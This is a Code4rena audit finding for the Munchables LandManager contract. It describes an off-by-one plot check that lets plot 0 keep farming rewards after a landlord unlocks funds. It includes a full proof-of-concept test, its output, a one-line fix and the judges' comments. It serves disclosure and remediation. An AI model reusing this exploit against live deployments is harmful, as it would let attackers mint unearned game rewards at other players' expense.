howlbot-integration[bot] commented 1 month ago

Lines of code

https://github.com/code-423n4/2024-07-munchables/blob/main/src/managers/LandManager.sol#L258

Vulnerability details

Impact

This vulnerability allows for repeated farming and reward collection from a plot even after the landlord has unlocked funds, leading to an imbalance in the game economy and unfair advantage to certain players.

Proof of Concept

The _farmPlots function has a vulnerability where a plot with a plotId 0 can continue to be farmed and receive rewards even after the landlord has unlocked all funds.

the code snippet:

            if (_getNumPlots(landlord) < _toiler.plotId) {
                timestamp = plotMetadata[landlord].lastUpdated;
                toilerState[tokenId].dirty = true;
            }

The _getNumPlots function should return zero when all funds are unlocked, invalidating the plot and setting the dirty flag.

However, the current implementation fails to do so, it only determines if NumPlots is less than the plotId and allows plot 0 to remain farmable.

the poc file:

import assert from "node:assert";
import { after, afterEach, before, beforeEach, describe, it } from "node:test";
import { parseEther, zeroAddress } from "viem";
import { DeployedContractsType } from "../../../deployments/actions/deploy-contracts";
import { assertContractFunctionRevertedError, assertTxSuccess } from "../../utils/asserters";
import { testClient } from "../../utils/consts";
import { getTestContracts, getTestRoleAddresses } from "../../utils/contracts";
import { MockNFTOverlordContractType, deployMockNFTOverlord } from "../../utils/mock-contracts";
import { registerPlayer } from "../../utils/players";

describe("LandManager: stakeMunchable", () => {
  let alice: `0x${string}`;
  let bob: `0x${string}`;
  let jirard: `0x${string}`;
  let beforeSnapshot: `0x${string}`;
  let beforeEachSnapshot: `0x${string}`;
  let testContracts: DeployedContractsType;
  let mockNFTOverlord: MockNFTOverlordContractType;

  before(async () => {
    testContracts = await getTestContracts();

    beforeSnapshot = await testClient.snapshot();

    const testRoleAddresses = await getTestRoleAddresses();
    mockNFTOverlord = await deployMockNFTOverlord({ testContracts });
    [alice, bob, jirard] = testRoleAddresses.users;
    await testClient.setBalance({
      address: alice,
      value: parseEther("10"),
    });
    await testClient.setBalance({
      address: bob,
      value: parseEther("10"),
    });
    await testClient.setBalance({
      address: jirard,
      value: parseEther("10"),
    });
  });

  beforeEach(async () => {
    beforeEachSnapshot = await testClient.snapshot();
  });

  afterEach(async () => {
    await testClient.revert({ id: beforeEachSnapshot });
  });

  after(async () => {
    await testClient.revert({ id: beforeSnapshot });
  });

  describe("all paths", () => {
    beforeEach(async () => {
      await registerPlayer({
        account: alice,
        testContracts,
      });
      await registerPlayer({
        account: bob,
        testContracts,
      });
      await registerPlayer({
        account: jirard,
        testContracts,
      });

      const { request } = await testContracts.lockManager.contract.simulate.lock(
        [zeroAddress, parseEther("1")],
        { account: alice, value: parseEther("1") }
      );
      const txHash = await testClient.writeContract(request);
      await assertTxSuccess({ txHash: txHash });

      await mockNFTOverlord.write.addReveal([alice, 100], { account: alice });
      await mockNFTOverlord.write.addReveal([bob, 100], { account: bob });
      await mockNFTOverlord.write.addReveal([bob, 100], { account: bob });
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 1
      await mockNFTOverlord.write.reveal([bob, 4, 12], { account: bob }); // 1
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 2
      await mockNFTOverlord.write.reveal([bob, 0, 13], { account: bob }); // 2
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 3
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 3
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 4
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 4
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 5
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 5
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 6
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 6
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 7
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 7
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 1
      await mockNFTOverlord.write.reveal([bob, 4, 12], { account: bob }); // 1
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 2
      await mockNFTOverlord.write.reveal([bob, 0, 13], { account: bob }); // 2
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 3
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 3
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 4
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 4
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 5
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 5
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 6
      await mockNFTOverlord.write.reveal([bob, 1, 14], { account: bob }); // 6
      await mockNFTOverlord.write.startReveal([alice], { account: alice }); // 7
      await mockNFTOverlord.write.reveal([alice, 1, 14], { account: alice }); // 7
      await mockNFTOverlord.write.startReveal([jirard], { account: jirard }); // 8
      await mockNFTOverlord.write.reveal([jirard, 0, 22], { account: jirard }); // 8
      await mockNFTOverlord.write.startReveal([jirard], { account: jirard }); // 9
      await mockNFTOverlord.write.reveal([jirard, 0, 23], { account: jirard }); // 9
    });
    it("unlock and repeat farm", async () => {
      const txHash = await testContracts.munchNFT.contract.write.approve(
        [testContracts.landManagerProxy.contract.address, 1n],
        { account: bob }
      );
      await assertTxSuccess({ txHash });
      const txHash2 = await testContracts.munchNFT.contract.write.approve(
        [testContracts.landManagerProxy.contract.address, 2n],
        { account: bob }
      );
      await assertTxSuccess({ txHash: txHash2 });
      const stakeMunchableTxHash =
        await testContracts.landManagerProxy.contract.write.stakeMunchable([alice, 1, 0], {
          account: bob,
        });
      await assertTxSuccess({ txHash: stakeMunchableTxHash });

      const { request } = await testContracts.lockManager.contract.simulate.unlock(
        [zeroAddress, parseEther("1")],
        { account: alice }
      );
      const txHash3 = await testClient.writeContract(request);
      await assertTxSuccess({ txHash: txHash3 });
      console.log("the landlord unlocked");

      console.log("farm immediately after unlocking");
      const { request: farmRequest1 } =
      await testContracts.landManagerProxy.contract.simulate.farmPlots([], {
        account: bob,
      });
      const farmHash1 = await testClient.writeContract(farmRequest1);

      const registeredPlayerAlice1 = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [alice]
      );
      console.log("the landlord:");
      console.log(registeredPlayerAlice1);
      const registeredPlayerBob1 = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [bob]
      );
      console.log("the user:");
      console.log(registeredPlayerBob1);

      // pass time
      let unlockTime: number;
      const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
      assert(lockedTokens instanceof Array);
      const lockedToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
      assert.ok(lockedToken);
      unlockTime = lockedToken.lockedToken.unlockTime;
      // console.log(unlockTime);

      // Fast-forward the chain to put unlock time in past
      await testClient.setNextBlockTimestamp({
        timestamp: BigInt(unlockTime + 24 * 3600 * 30),
      });
      await testClient.mine({ blocks: 1 });

      console.log("farm after waiting time");
      const { request: farmRequest2 } =
      await testContracts.landManagerProxy.contract.simulate.farmPlots([], {
        account: bob,
      });
      const farmHash2 = await testClient.writeContract(farmRequest2);

      const registeredPlayerAlice2 = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [alice]
      );
      console.log("the landlord:");
      console.log(registeredPlayerAlice2);
      const registeredPlayerBob2 = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [bob]
      );
      console.log("the user:");
      console.log(registeredPlayerBob2);
    });
  });
});

run the poc file and get the output:

the landlord unlocked
farm immediately after unlocking
the landlord:
[
  '0x90F79bf6EB2c4f870365E785982E1f101E93b906',
  {
    registrationDate: 1713316696,
    lastPetMunchable: 1713316739,
    lastHarvestDate: 1713316738,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 169425833333333333n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
the user:
[
  '0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65',
  {
    registrationDate: 1713316697,
    lastPetMunchable: 0,
    lastHarvestDate: 1713316708,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 465000000000000n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
farm after waiting time
the landlord:
[
  '0x90F79bf6EB2c4f870365E785982E1f101E93b906',
  {
    registrationDate: 1713316696,
    lastPetMunchable: 1715908700,
    lastHarvestDate: 1713316738,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 201046403333333333333n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
the user:
[
  '0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65',
  {
    registrationDate: 1713316697,
    lastPetMunchable: 0,
    lastHarvestDate: 1713316708,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 602631397500000000000n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
▶ LandManager: stakeMunchable
  ▶ all paths
    ✔ unlock and repeat farm (116.600875ms)
  ▶ all paths (116.832875ms)
▶ LandManager: stakeMunchable (1388.625417ms)

Tools Used

Manual

Recommended Mitigation Steps

Add the check for plotId is equal to numPolts.

diff -u src/managers/LandManager.sol src/managers/LandManager.sol.fix
@@ -255,7 +255,7 @@
             // the edge case where this doesnt work is if the user hasnt farmed in a while and the landlord
             // updates their plots multiple times. then the last updated time will be the last time they updated their plot details
             // instead of the first
-            if (_getNumPlots(landlord) < _toiler.plotId) {
+            if (_getNumPlots(landlord) <= _toiler.plotId) {
                 timestamp = plotMetadata[landlord].lastUpdated;
                 toilerState[tokenId].dirty = true;
             }

Assessed type

Invalid Validation

0xinsanity commented 1 month ago

https://github.com/munchablesorg/munchables-common-core-latest/pull/51

alex-ppg commented 1 month ago

The Warden and its duplicates have identified a significant issue with the code which will continue to attribute rewards for a plot with an ID of 0 regardless of whether the landlord has staked any tokens.

A high-risk severity is appropriate for this vulnerability as it effectively permits rewards to be minted without any staked funds on the landlord's end. Submissions that detailed the problem with the equality case but failed to identify the 0 edge case (i.e. failed to argue a high-severity rating) will be awarded 75% of their intended reward.

c4-judge commented 1 month ago

alex-ppg marked the issue as selected for report